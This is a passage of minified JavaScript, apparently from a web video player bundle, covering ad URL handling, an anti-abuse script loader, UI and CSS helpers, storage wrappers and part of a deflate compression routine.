J8J=function(x,T,t){t=t===void 0?{}:t;x=Djq(Fr(cs),T,t,x);return N73(x)};
Yw=function(x){var T=g.FD.apply(1,arguments).filter(function(u){return u}).join("&");
if(!T)return x;var t=x.match(/[?&]adurl=/);return t?x.slice(0,t.index+1)+T+"&"+x.slice(t.index+1):x+(x.indexOf("?")===-1?"?":"&")+T};
QFH=function(x){var T=x.url;x=x.N9U;this.C=T;this.N=x;x=/[?&]dsh=1(&|$)/.test(T);this.T=!x&&/[?&]ae=1(&|$)/.test(T);this.D=!x&&/[?&]ae=2(&|$)/.test(T);if((this.Z=/[?&]adurl=([^&]*)/.exec(T))&&this.Z[1]){try{var t=decodeURIComponent(this.Z[1])}catch(u){t=null}this.j=t}this.K=(new Date).getTime()-COJ};
pDJ=function(x){x=x.N;if(!x)return"";var T="";x.platform&&(T+="&uap="+encodeURIComponent(x.platform));x.platformVersion&&(T+="&uapv="+encodeURIComponent(x.platformVersion));x.uaFullVersion&&(T+="&uafv="+encodeURIComponent(x.uaFullVersion));x.architecture&&(T+="&uaa="+encodeURIComponent(x.architecture));x.model&&(T+="&uam="+encodeURIComponent(x.model));x.bitness&&(T+="&uab="+encodeURIComponent(x.bitness));x.fullVersionList&&(T+="&uafvl="+encodeURIComponent(x.fullVersionList.map(function(t){return encodeURIComponent(t.brand)+
";"+encodeURIComponent(t.version)}).join("|")));
typeof x.wow64!=="undefined"&&(T+="&uaw="+Number(x.wow64));return T.substring(1)};
wDf=function(x,T,t,u,H){var I=window;var E=E===void 0?!1:E;var Z;t?Z=(E===void 0?0:E)?"//ep1.adtrafficquality.google/bg/"+wE(t)+".js":"//pagead2.googlesyndication.com/bg/"+wE(t)+".js":Z="";E=E===void 0?!1:E;t=I.document;var e={};T&&(e._scs_=T);e._bgu_=Z;e._bgp_=u;e._li_="v_h.3.0.0.0";H&&(e._upb_=H);(T=I.GoogleTyFxhY)&&typeof T.push=="function"||(T=I.GoogleTyFxhY=[]);T.push(e);T=BR(t).createElement("SCRIPT");T.type="text/javascript";T.async=!0;x=(E===void 0?0:E)?XBH(O$f,wE(x)+".js"):XBH(fjD,wE(x)+
".js");g.yD(T,x);(I=(I.GoogleTyFxhYEET||{})[T.src])?I():t.getElementsByTagName("head")[0].appendChild(T)};
K05=function(){try{var x,T;return!!((x=window)==null?0:(T=x.top)==null?0:T.location.href)&&!1}catch(t){return!0}};
kw=function(){var x=XDf();x=x===void 0?"bevasrsg":x;return new Promise(function(T){var t=window===window.top?window:K05()?window:window.top,u=t[x],H;((H=u)==null?0:H.bevasrs)?T(new rX(u.bevasrs)):(u||(u={},u=(u.nqfbel=[],u),t[x]=u),u.nqfbel.push(function(I){T(new rX(I))}))})};
xnJ=function(x){var T={c:x.Ek,e:x.Hb,mc:x.v6,me:x.Ss};x.ZO&&(T.co={c:x.ZO.qo,a:x.ZO.eJ,s:x.ZO.mC});return T};
Fj=function(x){g.W.call(this);this.wpc=x};
rX=function(x){g.W.call(this);var T=this;this.KF=x;this.j="keydown keypress keyup input focusin focusout select copy cut paste change click dblclick auxclick pointerover pointerdown pointerup pointermove pointerout dragenter dragleave drag dragend mouseover mousedown mouseup mousemove mouseout touchstart touchend touchmove wheel".split(" ");this.C=void 0;this.G8=this.KF.p;this.K=this.h1.bind(this);this.addOnDisposeCallback(function(){return void Tlf(T)})};
o43=function(x){var T;return g.G(function(t){if(t.C==1){if(!x.KF.wpc)throw new ub(30,"NWA");return x.Z?t.return(x.Z):g.v(t,x.KF.wpc(),2)}T=t.Z;x.Z=new Fj(T);return t.return(x.Z)})};
Tlf=function(x){x.C!==void 0&&(x.j.forEach(function(T){var t;(t=x.C)==null||t.removeEventListener(T,x.K)}),x.C=void 0)};
uJ5=function(x){if(g.Y9(g.Kd(x)))return!1;if(x.indexOf("://pagead2.googlesyndication.com/pagead/gen_204?id=yt3p&sr=1&")>=0)return!0;try{var T=new g.Zr(x)}catch(t){return g.Oh(twv,function(u){return x.search(u)>0})!=null}return T.D.match(s_q)?!0:g.Oh(twv,function(t){return x.match(t)!=null})!=null};
g.h_=function(x,T){return x.replace($ni,function(t,u){try{var H=g.kO(T,u);if(H==null||H.toString()==null)return t;H=H.toString();if(H==""||!g.Y9(g.Kd(H)))return encodeURIComponent(H).replace(/%2C/g,",")}catch(I){}return t})};
iEV=function(x){var T=HEJ.fR;if(T){var t,u;(u=(t=performance).mark)==null||u.call(t,"signalSetStart__"+x)}t={};return t[Symbol.dispose]=function(){if(T){var H,I;(I=(H=performance).measure)==null||I.call(H,"signalSet__"+x,"signalSetStart__"+x)}},t};
vs=function(x,T){return Object.is(x,T)};
Gn=function(x){var T=Vw;Vw=x;return T};
Itf=function(x){if(x.n_!==void 0){var T=Lt;Lt=!0;try{for(var t=g.S(x.n_),u=t.next();!u.done;u=t.next()){var H=u.value;H.ZU||(x=void 0,H.ZU=!0,Itf(H),(x=H.FN)==null||x.call(H,H))}}finally{Lt=T}}};
E4i=function(){var x;return((x=Vw)==null?void 0:x.cA)!==!1};
q9C=function(x){x&&(x.Gz=0);return Gn(x)};
ZEC=function(x,T){Gn(T);if(x&&x.Im!==void 0&&x.Pf!==void 0&&x.qV!==void 0){if(nt(x))for(T=x.Gz;T<x.Im.length;T++)ap(x.Im[T],x.Pf[T]);for(;x.Im.length>x.Gz;)x.Im.pop(),x.qV.pop(),x.Pf.pop()}};
eN4=function(x,T,t){j_m(x);if(x.n_.length===0&&x.Im!==void 0)for(var u=0;u<x.Im.length;u++)x.Pf[u]=eN4(x.Im[u],x,u);x.Yk.push(t);return x.n_.push(T)-1};
ap=function(x,T){j_m(x);if(x.n_.length===1&&x.Im!==void 0)for(var t=0;t<x.Im.length;t++)ap(x.Im[t],x.Pf[t]);t=x.n_.length-1;x.n_[T]=x.n_[t];x.Yk[T]=x.Yk[t];x.n_.length--;x.Yk.length--;T<x.n_.length&&(t=x.Yk[T],x=x.n_[T],lti(x),x.Pf[t]=T)};
nt=function(x){var T,t;return x.qw||((t=x==null?void 0:(T=x.n_)==null?void 0:T.length)!=null?t:0)>0};
lti=function(x){x.Im!=null||(x.Im=[]);x.Pf!=null||(x.Pf=[]);x.qV!=null||(x.qV=[])};
j_m=function(x){x.n_!=null||(x.n_=[]);x.Yk!=null||(x.Yk=[])};
dn3=function(x){function T(){if(Lt)throw Error("");if(Vw!==null){var u=Vw.Gz++;lti(Vw);u<Vw.Im.length&&Vw.Im[u]!==t&&nt(Vw)&&ap(Vw.Im[u],Vw.Pf[u]);Vw.Im[u]!==t&&(Vw.Im[u]=t,Vw.Pf[u]=nt(Vw)?eN4(t,Vw,u):0);Vw.qV[u]=t.version}return t.value}
var t=Object.create(mnD);t.value=x;T[gX]=t;return T};
A25=function(x,T){if(!E4i())throw Error();x.yf(x.value,T)||(x.value=T,x.version++,MwD++,Itf(x))};
Y93=function(x,T){function t(){RNi++;return u()}
T=T===void 0?"":T;var u=dn3(x);P24++;var H=u[gX];H.x0=T!=null?T:"[signal]";t[gX]=H;return[t,function(I){var E={stack:[],error:void 0,hasError:!1};try{if(oP(E,iEV(H.x0)),S9i++,I&&I[c2m]){var Z=I[c2m];if(!E4i())throw Error();A25(H,Z(H.value))}else A25(H,I)}catch(e){E.error=e,E.hasError=!0}finally{sh(E)}}]};
Ws=function(x){g.wv.call(this);var T=this;this.T=this.Z=0;this.Lt=x!=null?x:{v_:function(H,I){return setTimeout(H,I)},
L_:function(H){clearTimeout(H)}};
var t,u;this.C=(u=(t=window.navigator)==null?void 0:t.onLine)!=null?u:!0;this.j=function(){return g.G(function(H){return g.v(H,Bs(T),0)})};
window.addEventListener("offline",this.j);window.addEventListener("online",this.j);this.T||this.NI()};
UnD=function(){var x=g.Du;Ws.instance||(Ws.instance=new Ws(x));return Ws.instance};
Bs=function(x,T){return x.K?x.K:x.K=new Promise(function(t){var u,H,I,E;return g.G(function(Z){switch(Z.C){case 1:return u=window.AbortController?new window.AbortController:void 0,I=(H=u)==null?void 0:H.signal,E=!1,g.PX(Z,2,3),u&&(x.Z=x.Lt.v_(function(){u.abort()},T||2E4)),g.v(Z,fetch("/generate_204",{method:"HEAD",
signal:I}),5);case 5:E=!0;case 3:g.UH(Z);x.K=void 0;x.Z&&(x.Lt.L_(x.Z),x.Z=0);E!==x.C&&(x.C=E,x.C?x.dispatchEvent("networkstatus-online"):x.dispatchEvent("networkstatus-offline"));t(E);g.b3(Z,0);break;case 2:g.Yq(Z),E=!1,Z.lG(3)}})})};
yw=function(){this.data=[];this.C=-1};
bEC=function(x){x.C===-1&&(x.C=x.data.reduce(function(T,t,u){return T+(t?Math.pow(2,u):0)},0));
return x.C};
NV=function(x){x.setAttribute("role","link")};
Ct=function(x,T){Array.isArray(T)&&(T=T.join(" "));T===""||T==void 0?(J_||(T={},J_=(T.atomic=!1,T.autocomplete="none",T.dropeffect="none",T.haspopup=!1,T.live="off",T.multiline=!1,T.multiselectable=!1,T.orientation="vertical",T.readonly=!1,T.relevant="additions text",T.required=!1,T.sort="none",T.busy=!1,T.disabled=!1,T.hidden=!1,T.invalid="false",T)),T=J_,"label"in T?x.setAttribute("aria-label",T.label):x.removeAttribute("aria-label")):x.setAttribute("aria-label",T)};
Qw=function(x){x=x.getAttribute("aria-label");return x==null||x==void 0?"":String(x)};
g.pt=function(x,T,t){g.W.call(this);this.C=null;this.K=!1;this.D=x;this.T=t;this.Z=T||window;this.j=(0,g.K4)(this.sK,this)};
r23=function(x){x=x.Z;return x.requestAnimationFrame||x.webkitRequestAnimationFrame||x.mozRequestAnimationFrame||x.oRequestAnimationFrame||x.msRequestAnimationFrame||null};
zNi=function(x){x=x.Z;return x.cancelAnimationFrame||x.cancelRequestAnimationFrame||x.webkitCancelRequestAnimationFrame||x.mozCancelRequestAnimationFrame||x.oCancelRequestAnimationFrame||x.msCancelRequestAnimationFrame||null};
g.wX=function(x,T,t){g.W.call(this);this.C=x;this.KU=T||0;this.Z=t;this.j=(0,g.K4)(this.qe,this)};
g.Kt=function(x,T){x.isActive()||x.start(T)};
g.Xj=function(x){x.stop();x.qe()};
g.xP=function(x){x.isActive()&&g.Xj(x)};
g.To=function(x,T){this.C=x[g.BX.Symbol.iterator]();this.Z=T};
kdm=function(x){return typeof x.className=="string"?x.className:x.getAttribute&&x.getAttribute("class")||""};
oc=function(x){return x.classList?x.classList:kdm(x).match(/\S+/g)||[]};
g.tw=function(x,T){typeof x.className=="string"?x.className=T:x.setAttribute&&x.setAttribute("class",T)};
g.sR=function(x,T){return x.classList?x.classList.contains(T):g.wy(oc(x),T)};
g.uY=function(x,T){if(x.classList)x.classList.add(T);else if(!g.sR(x,T)){var t=kdm(x);g.tw(x,t+(t.length>0?" "+T:T))}};
g.$P=function(x,T){if(x.classList)Array.prototype.forEach.call(T,function(H){g.uY(x,H)});
else{var t={};Array.prototype.forEach.call(oc(x),function(H){t[H]=!0});
Array.prototype.forEach.call(T,function(H){t[H]=!0});
T="";for(var u in t)T+=T.length>0?" "+u:u;g.tw(x,T)}};
g.H$=function(x,T){x.classList?x.classList.remove(T):g.sR(x,T)&&g.tw(x,Array.prototype.filter.call(oc(x),function(t){return t!=T}).join(" "))};
g.iY=function(x,T){x.classList?Array.prototype.forEach.call(T,function(t){g.H$(x,t)}):g.tw(x,Array.prototype.filter.call(oc(x),function(t){return!g.wy(T,t)}).join(" "))};
g.Ic=function(x,T,t){t?g.uY(x,T):g.H$(x,T)};
FUJ=function(x,T){var t=!g.sR(x,T);g.Ic(x,T,t)};
g.ER=function(){g.wv.call(this);this.C=0;this.endTime=this.startTime=null};
hN4=function(x,T){Array.isArray(T)||(T=[T]);T=T.map(function(t){return typeof t==="string"?t:t.property+" "+t.duration+"s "+t.timing+" "+t.delay+"s"});
g.Zt(x,"transition",T.join(","))};
qB=function(x,T,t,u,H){g.ER.call(this);this.Z=x;this.T=T;this.D=t;this.K=u;this.N=Array.isArray(H)?H:[H]};
v43=function(x,T,t,u){return new qB(x,T,{opacity:t},{opacity:u},{property:"opacity",duration:T,timing:"ease-in",delay:0})};
GdX=function(x){x=ry(x);if(x=="")return null;var T=String(x.slice(0,4)).toLowerCase();if(("url("<T?-1:"url("==T?0:1)==0)return!x.endsWith(")")||(x?x.split("(").length-1:0)>1||x&&x.split(")"),null;if(x.indexOf("(")>0){if(/"|'/.test(x))return null;T=/([\-\w]+)\(/g;for(var t;t=T.exec(x);)if(!(t[1].toLowerCase()in Vwv))return null}return x};
Zo=function(x,T){x=g.BX[x];return x&&x.prototype?(T=Object.getOwnPropertyDescriptor(x.prototype,T))&&T.get||null:null};
LU5=function(x){var T=g.BX.CSSStyleDeclaration;return T&&T.prototype&&T.prototype[x]||null};
n44=function(x,T,t,u){if(x)return x.apply(T,u);if(g.jW&&document.documentMode<10){if(!T[t].call)throw Error("IE Clobbering detected");}else if(typeof T[t]!="function")throw Error("Clobbering detected");return T[t].apply(T,u)};
Dnv=function(x){if(!x)return"";var T=document.createElement("div").style;at4(x).forEach(function(t){var u=g.OA&&t in g4J?t:t.replace(/^-(?:apple|css|epub|khtml|moz|mso?|o|rim|wap|webkit|xv)-(?=[a-z])/i,"");cE(u,"--")||cE(u,"var")||(t=n44(BlC,x,x.getPropertyValue?"getPropertyValue":"getAttribute",[t])||"",t=GdX(t),t!=null&&n44(WUX,T,T.setProperty?"setProperty":"setAttribute",[u,t]))});
return T.cssText||""};
at4=function(x){g.QJ(x)?x=g.o2(x):(x=g.YO(x),g.XF(x,"cssText"));return x};
g.lY=function(x){var T,t=T=0,u=!1;x=x.split(y2i);for(var H=0;H<x.length;H++){var I=x[H];g.eW.test(I)?(T++,t++):NlD.test(I)?u=!0:J2H.test(I)?t++:C2C.test(I)&&(u=!0)}T=t==0?u?1:0:T/t>.4?-1:1;return(T==0?null:T)==-1?"rtl":"ltr"};
g.Aw=function(x){if(x instanceof m5||x instanceof dY||x instanceof MB)return x;if(typeof x.next=="function")return new m5(function(){return x});
if(typeof x[Symbol.iterator]=="function")return new m5(function(){return x[Symbol.iterator]()});
if(typeof x.Pw=="function")return new m5(function(){return x.Pw()});
throw Error("Not an iterator or iterable.");};
m5=function(x){this.Z=x};
dY=function(x){this.Z=x};
MB=function(x){m5.call(this,function(){return x});
this.j=x};
Rc=function(x,T,t,u,H,I,E,Z){this.C=x;this.N=T;this.j=t;this.T=u;this.K=H;this.D=I;this.Z=E;this.J=Z};
P$=function(x,T){if(T==0)return x.C;if(T==1)return x.Z;var t=Z3(x.C,x.j,T),u=Z3(x.j,x.K,T);x=Z3(x.K,x.Z,T);t=Z3(t,u,T);u=Z3(u,x,T);return Z3(t,u,T)};
Q_C=function(x,T){var t=(T-x.C)/(x.Z-x.C);if(t<=0)return 0;if(t>=1)return 1;for(var u=0,H=1,I=0,E=0;E<8;E++){I=P$(x,t);var Z=(P$(x,t+1E-6)-I)/1E-6;if(Math.abs(I-T)<1E-6)return t;if(Math.abs(Z)<1E-6)break;else I<T?u=t:H=t,t-=(I-T)/Z}for(E=0;Math.abs(I-T)>1E-6&&E<8;E++)I<T?(u=t,t=(t+H)/2):(H=t,t=(t+u)/2),I=P$(x,t);return t};
SW=function(x,T){this.start=x<T?x:T;this.end=x<T?T:x};
c$=function(x){return(x=x.exec(g.FF()))?x[1]:""};
YP=function(x){return g.k9(pfV,x)>=0};
g.UR=function(x){g.W.call(this);this.D=1;this.j=[];this.K=0;this.C=[];this.Z={};this.N=!!x};
OE5=function(x,T,t){g.IZ(function(){x.apply(T,t)})};
g.bY=function(x){this.C=x};
rY=function(x){this.C=x};
ftX=function(x){this.data=x};
wfq=function(x){return x===void 0||x instanceof ftX?x:new ftX(x)};
zo=function(x){this.C=x};
g.KUV=function(x){var T=x.creation;x=x.expiration;return!!x&&x<g.x9()||!!T&&T>g.x9()};
g.kP=function(x){this.C=x};
Xf3=function(){};
Fz=function(){};
hw=function(x){this.C=x;this.Z=null};
v$=function(x){if(x.C==null)throw Error("Storage mechanism: Storage unavailable");var T;((T=x.Z)!=null?T:x.isAvailable())||RP(Error("Storage mechanism: Storage unavailable"))};
VO=function(){var x=null;try{x=g.BX.localStorage||null}catch(T){}hw.call(this,x)};
xz5=function(){var x=null;try{x=g.BX.sessionStorage||null}catch(T){}hw.call(this,x)};
Go=function(x,T){this.Z=x;this.C=T+"::"};
g.Le=function(x){var T=new VO;return T.isAvailable()?x?new Go(T,x):T:null};
ne=function(x,T){this.C=x;this.Z=T};
ac=function(x){this.C=[];if(x)a:{if(x instanceof ac){var T=x.iy();x=x.FF();if(this.C.length<=0){for(var t=this.C,u=0;u<T.length;u++)t.push(new ne(T[u],x[u]));break a}}else T=g.YO(x),x=g.cR(x);for(t=0;t<T.length;t++)this.pK(T[t],x[t])}};
gY=function(){ac.apply(this,arguments)};
B$=function(){};
TT5=function(x){var T,t,u=x.length,H=0;for(T=0;T<u;T++){var I=x.charCodeAt(T);if((I&64512)===55296&&T+1<u){var E=x.charCodeAt(T+1);(E&64512)===56320&&(I=65536+(I-55296<<10)+(E-56320),T++)}H+=I<128?1:I<2048?2:I<65536?3:4}var Z=new W$.Qa(H);for(T=t=0;t<H;T++)I=x.charCodeAt(T),(I&64512)===55296&&T+1<u&&(E=x.charCodeAt(T+1),(E&64512)===56320&&(I=65536+(I-55296<<10)+(E-56320),T++)),I<128?Z[t++]=I:(I<2048?Z[t++]=192|I>>>6:(I<65536?Z[t++]=224|I>>>12:(Z[t++]=240|I>>>18,Z[t++]=128|I>>>12&63),Z[t++]=128|I>>>
6&63),Z[t++]=128|I&63);return Z};
Do=function(x){for(var T=x.length;--T>=0;)x[T]=0};
yO=function(x,T,t,u,H){this.gZ=x;this.Wi=T;this.eR=t;this.MR=u;this.OzQ=H;this.hS=x&&x.length};
NB=function(x,T){this.b9=x;this.GH=0;this.yQ=T};
Jw=function(x,T){x.nC[x.pending++]=T&255;x.nC[x.pending++]=T>>>8&255};
Ce=function(x,T,t){x.Rm>16-t?(x.r_|=T<<x.Rm&65535,Jw(x,x.r_),x.r_=T>>16-x.Rm,x.Rm+=t-16):(x.r_|=T<<x.Rm&65535,x.Rm+=t)};
QO=function(x,T,t){Ce(x,t[T*2],t[T*2+1])};
oJm=function(x,T){var t=0;do t|=x&1,x>>>=1,t<<=1;while(--T>0);return t>>>1};
t5f=function(x,T,t){var u=Array(16),H=0,I;for(I=1;I<=15;I++)u[I]=H=H+t[I-1]<<1;for(t=0;t<=T;t++)H=x[t*2+1],H!==0&&(x[t*2]=oJm(u[H]++,H))};
sm3=function(x){var T;for(T=0;T<286;T++)x.OU[T*2]=0;for(T=0;T<30;T++)x.mE[T*2]=0;for(T=0;T<19;T++)x.bl[T*2]=0;x.OU[512]=1;x.pN=x.t2=0;x.Ww=x.matches=0};
uP5=function(x){x.Rm>8?Jw(x,x.r_):x.Rm>0&&(x.nC[x.pending++]=x.r_);x.r_=0;x.Rm=0};
$zq=function(x,T,t){uP5(x);Jw(x,t);Jw(x,~t);W$.Ju(x.nC,x.window,T,t,x.pending);x.pending+=t};
H53=function(x,T,t,u){var H=T*2,I=t*2;return x[H]<x[I]||x[H]===x[I]&&u[T]<=u[t]};
pe=function(x,T,t){for(var u=x.Nf[t],H=t<<1;H<=x.QJ;){H<x.QJ&&H53(T,x.Nf[H+1],x.Nf[H],x.depth)&&H++;if(H53(T,u,x.Nf[H],x.depth))break;x.Nf[t]=x.Nf[H];t=H;H<<=1}x.Nf[t]=u};
i5D=function(x,T,t){var u=0;if(x.Ww!==0){do{var H=x.nC[x.Ea+u*2]<<8|x.nC[x.Ea+u*2+1];var I=x.nC[x.M3+u];u++;if(H===0)QO(x,I,T);else{var E=OR[I];QO(x,E+256+1,T);var Z=fe[E];Z!==0&&(I-=wY[E],Ce(x,I,Z));H--;E=H<256?Ke[H]:Ke[256+(H>>>7)];QO(x,E,t);Z=Xz[E];Z!==0&&(H-=xT[E],Ce(x,H,Z))}}while(u<x.Ww)}QO(x,256,T)};
T3=function(x,T){var t=T.b9,u=T.yQ.gZ,H=T.yQ.hS,I=T.yQ.MR,E,Z=-1;x.QJ=0;x.Vr=573;for(E=0;E<I;E++)t[E*2]!==0?(x.Nf[++x.QJ]=Z=E,x.depth[E]=0):t[E*2+1]=0;for(;x.QJ<2;){var e=x.Nf[++x.QJ]=Z<2?++Z:0;t[e*2]=1;x.depth[e]=0;x.pN--;H&&(x.t2-=u[e*2+1])}T.GH=Z;for(E=x.QJ>>1;E>=1;E--)pe(x,t,E);e=I;do E=x.Nf[1],x.Nf[1]=x.Nf[x.QJ--],pe(x,t,1),u=x.Nf[1],x.Nf[--x.Vr]=E,x.Nf[--x.Vr]=u,t[e*2]=t[E*2]+t[u*2],x.depth[e]=(x.depth[E]>=x.depth[u]?x.depth[E]:x.depth[u])+1,t[E*2+1]=t[u*2+1]=e,x.Nf[1]=e++,pe(x,t,1);while(x.QJ>=
2);x.Nf[--x.Vr]=x.Nf[1];E=T.b9;e=T.GH;u=T.yQ.gZ;H=T.yQ.hS;I=T.yQ.Wi;var l=T.yQ.eR,m=T.yQ.OzQ,d,M=0;for(d=0;d<=15;d++)x.bR[d]=0;E[x.Nf[x.Vr]*2+1]=0;for(T=x.Vr+1;T<573;T++){var A=x.Nf[T];d=E[E[A*2+1]*2+1]+1;d>m&&(d=m,M++);E[A*2+1]=d;if(!(A>e)){x.bR[d]++;var R=0;A>=l&&(R=I[A-l]);var Y=E[A*2];x.pN+=Y*(d+R);H&&(x.t2+=Y*(u[A*2+1]+R))}}if(M!==0){do{for(d=m-1;x.bR[d]===0;)d--;x.bR[d]--;x.bR[d+1]+=2;x.bR[m]--;M-=2}while(M>0);for(d=m;d!==0;d--)for(A=x.bR[d];A!==0;)u=x.Nf[--T],u>e||(E[u*2+1]!==d&&(x.pN+=(d-
E[u*2+1])*E[u*2],E[u*2+1]=d),A--)}t5f(t,Z,x.bR)};
IKq=function(x,T,t){var u,H=-1,I=T[1],E=0,Z=7,e=4;I===0&&(Z=138,e=3);T[(t+1)*2+1]=65535;for(u=0;u<=t;u++){var l=I;I=T[(u+1)*2+1];++E<Z&&l===I||(E<e?x.bl[l*2]+=E:l!==0?(l!==H&&x.bl[l*2]++,x.bl[32]++):E<=10?x.bl[34]++:x.bl[36]++,E=0,H=l,I===0?(Z=138,e=3):l===I?(Z=6,e=3):(Z=7,e=4))}};
EJv=function(x,T,t){var u,H=-1,I=T[1],E=0,Z=7,e=4;I===0&&(Z=138,e=3);for(u=0;u<=t;u++){var l=I;I=T[(u+1)*2+1];if(!(++E<Z&&l===I)){if(E<e){do QO(x,l,x.bl);while(--E!==0)}else l!==0?(l!==H&&(QO(x,l,x.bl),E--),QO(x,16,x.bl),Ce(x,E-3,2)):E<=10?(QO(x,17,x.bl),Ce(x,E-3,3)):(QO(x,18,x.bl),Ce(x,E-11,7));E=0;H=l;I===0?(Z=138,e=3):l===I?(Z=6,e=3):(Z=7,e=4)}}};
qSH=function(x){var T=4093624447,t;for(t=0;t<=31;t++,T>>>=1)if(T&1&&x.OU[t*2]!==0)return 0;if(x.OU[18]!==0||x.OU[20]!==0||x.OU[26]!==0)return 1;for(t=32;t<256;t++)if(x.OU[t*2]!==0)return 1;return 0};
oi=function(x,T,t){x.nC[x.Ea+x.Ww*2]=T>>>8&255;x.nC[x.Ea+x.Ww*2+1]=T&255;x.nC[x.M3+x.Ww]=t&255;x.Ww++;T===0?x.OU[t*2]++:(x.matches++,T--,x.OU[(OR[t]+256+1)*2]++,x.mE[(T<256?Ke[T]:Ke[256+(T>>>7)])*2]++);return x.Ww===x.pO-1};
si=function(x,T){x.msg=tT[T];return T};
uA=function(x){for(var T=x.length;--T>=0;)x[T]=0};
$T=function(x){var T=x.state,t=T.pending;t>x.z3&&(t=x.z3);t!==0&&(W$.Ju(x.output,T.nC,T.f5,t,x.pc),x.pc+=t,T.f5+=t,x.K3+=t,x.z3-=t,T.pending-=t,T.pending===0&&(T.f5=0))};
Ii=function(x,T){var t=x.h7>=0?x.h7:-1,u=x.Dp-x.h7,H=0;if(x.level>0){x.SD.HL===2&&(x.SD.HL=qSH(x));T3(x,x.vj);T3(x,x.hV);IKq(x,x.OU,x.vj.GH);IKq(x,x.mE,x.hV.GH);T3(x,x.u9);for(H=18;H>=3&&x.bl[Z5V[H]*2+1]===0;H--);x.pN+=3*(H+1)+5+5+4;var I=x.pN+3+7>>>3;var E=x.t2+3+7>>>3;E<=I&&(I=E)}else I=E=u+5;if(u+4<=I&&t!==-1)Ce(x,T?1:0,3),$zq(x,t,u);else if(x.strategy===4||E===I)Ce(x,2+(T?1:0),3),i5D(x,H9,iA);else{Ce(x,4+(T?1:0),3);t=x.vj.GH+1;u=x.hV.GH+1;H+=1;Ce(x,t-257,5);Ce(x,u-1,5);Ce(x,H-4,4);for(I=0;I<H;I++)Ce(x,
x.bl[Z5V[I]*2+1],3);EJv(x,x.OU,t-1);EJv(x,x.mE,u-1);i5D(x,x.OU,x.mE)}sm3(x);T&&uP5(x);x.h7=x.Dp;$T(x.SD)};
Ei=function(x,T){x.nC[x.pending++]=T};
qx=function(x,T){x.nC[x.pending++]=T>>>8&255;x.nC[x.pending++]=T&255};
jmD=function(x,T){var t=x.qE,u=x.Dp,H=x.aJ,I=x.b1,E=x.Dp>x.yY-262?x.Dp-(x.yY-262):0,Z=x.window,e=x.FZ,l=x.xn,m=x.Dp+258,d=Z[u+H-1],M=Z[u+H];x.aJ>=x.Cn&&(t>>=2);I>x.iN&&(I=x.iN);do{var A=T;if(Z[A+H]===M&&Z[A+H-1]===d&&Z[A]===Z[u]&&Z[++A]===Z[u+1]){u+=2;for(A++;Z[++u]===Z[++A]&&Z[++u]===Z[++A]&&Z[++u]===Z[++A]&&Z[++u]===Z[++A]&&Z[++u]===Z[++A]&&Z[++u]===Z[++A]&&Z[++u]===Z[++A]&&Z[++u]===Z[++A]&&u<m;);A=258-(m-u);u=m-258;if(A>H){x.FO=T;H=A;if(A>=I)break;d=Z[u+H-1];M=Z[u+H]}}}while((T=l[T&e])>E&&--t!==
0);return H<=x.iN?H:x.iN};
eJ=function(x){var T=x.yY,t;do{var u=x.V2-x.iN-x.Dp;if(x.Dp>=T+(T-262)){W$.Ju(x.window,x.window,T,T,0);x.FO-=T;x.Dp-=T;x.h7-=T;var H=t=x.Ra;do{var I=x.head[--H];x.head[H]=I>=T?I-T:0}while(--t);H=t=T;do I=x.xn[--H],x.xn[H]=I>=T?I-T:0;while(--t);u+=T}if(x.SD.hI===0)break;H=x.SD;t=x.window;I=x.Dp+x.iN;var E=H.hI;E>u&&(E=u);E===0?t=0:(H.hI-=E,W$.Ju(t,H.input,H.Zt,E,I),H.state.wrap===1?H.n4=ZQ(H.n4,t,E,I):H.state.wrap===2&&(H.n4=jJ(H.n4,t,E,I)),H.Zt+=E,H.Ll+=E,t=E);x.iN+=t;if(x.iN+x.pK>=3)for(u=x.Dp-x.pK,
x.kx=x.window[u],x.kx=(x.kx<<x.IY^x.window[u+1])&x.yJ;x.pK&&!(x.kx=(x.kx<<x.IY^x.window[u+3-1])&x.yJ,x.xn[u&x.FZ]=x.head[x.kx],x.head[x.kx]=u,u++,x.pK--,x.iN+x.pK<3););}while(x.iN<262&&x.SD.hI!==0)};
lA=function(x,T){for(var t;;){if(x.iN<262){eJ(x);if(x.iN<262&&T===0)return 1;if(x.iN===0)break}t=0;x.iN>=3&&(x.kx=(x.kx<<x.IY^x.window[x.Dp+3-1])&x.yJ,t=x.xn[x.Dp&x.FZ]=x.head[x.kx],x.head[x.kx]=x.Dp);t!==0&&x.Dp-t<=x.yY-262&&(x.Oi=jmD(x,t));if(x.Oi>=3)if(t=oi(x,x.Dp-x.FO,x.Oi-3),x.iN-=x.Oi,x.Oi<=x.wB&&x.iN>=3){x.Oi--;do x.Dp++,x.kx=(x.kx<<x.IY^x.window[x.Dp+3-1])&x.yJ,x.xn[x.Dp&x.FZ]=x.head[x.kx],x.head[x.kx]=x.Dp;while(--x.Oi!==0);x.Dp++}else x.Dp+=x.Oi,x.Oi=0,x.kx=x.window[x.Dp],x.kx=(x.kx<<x.IY^
x.window[x.Dp+1])&x.yJ;else t=oi(x,0,x.window[x.Dp]),x.iN--,x.Dp++;if(t&&(Ii(x,!1),x.SD.z3===0))return 1}x.pK=x.Dp<2?x.Dp:2;return T===4?(Ii(x,!0),x.SD.z3===0?3:4):x.Ww&&(Ii(x,!1),x.SD.z3===0)?1:2};
m4=function(x,T){for(var t,u;;){if(x.iN<262){eJ(x);if(x.iN<262&&T===0)return 1;if(x.iN===0)break}t=0;x.iN>=3&&(x.kx=(x.kx<<x.IY^x.window[x.Dp+3-1])&x.yJ,t=x.xn[x.Dp&x.FZ]=x.head[x.kx],x.head[x.kx]=x.Dp);x.aJ=x.Oi;x.Q$=x.FO;x.Oi=2;t!==0&&x.aJ<x.wB&&x.Dp-t<=x.yY-262&&(x.Oi=jmD(x,t),x.Oi<=5&&(x.strategy===1||x.Oi===3&&x.Dp-x.FO>4096)&&(x.Oi=2));if(x.aJ>=3&&x.Oi<=x.aJ){u=x.Dp+x.iN-3;t=oi(x,x.Dp-1-x.Q$,x.aJ-3);x.iN-=x.aJ-1;x.aJ-=2;do++x.Dp<=u&&(x.kx=(x.kx<<x.IY^x.window[x.Dp+3-1])&x.yJ,x.xn[x.Dp&x.FZ]=
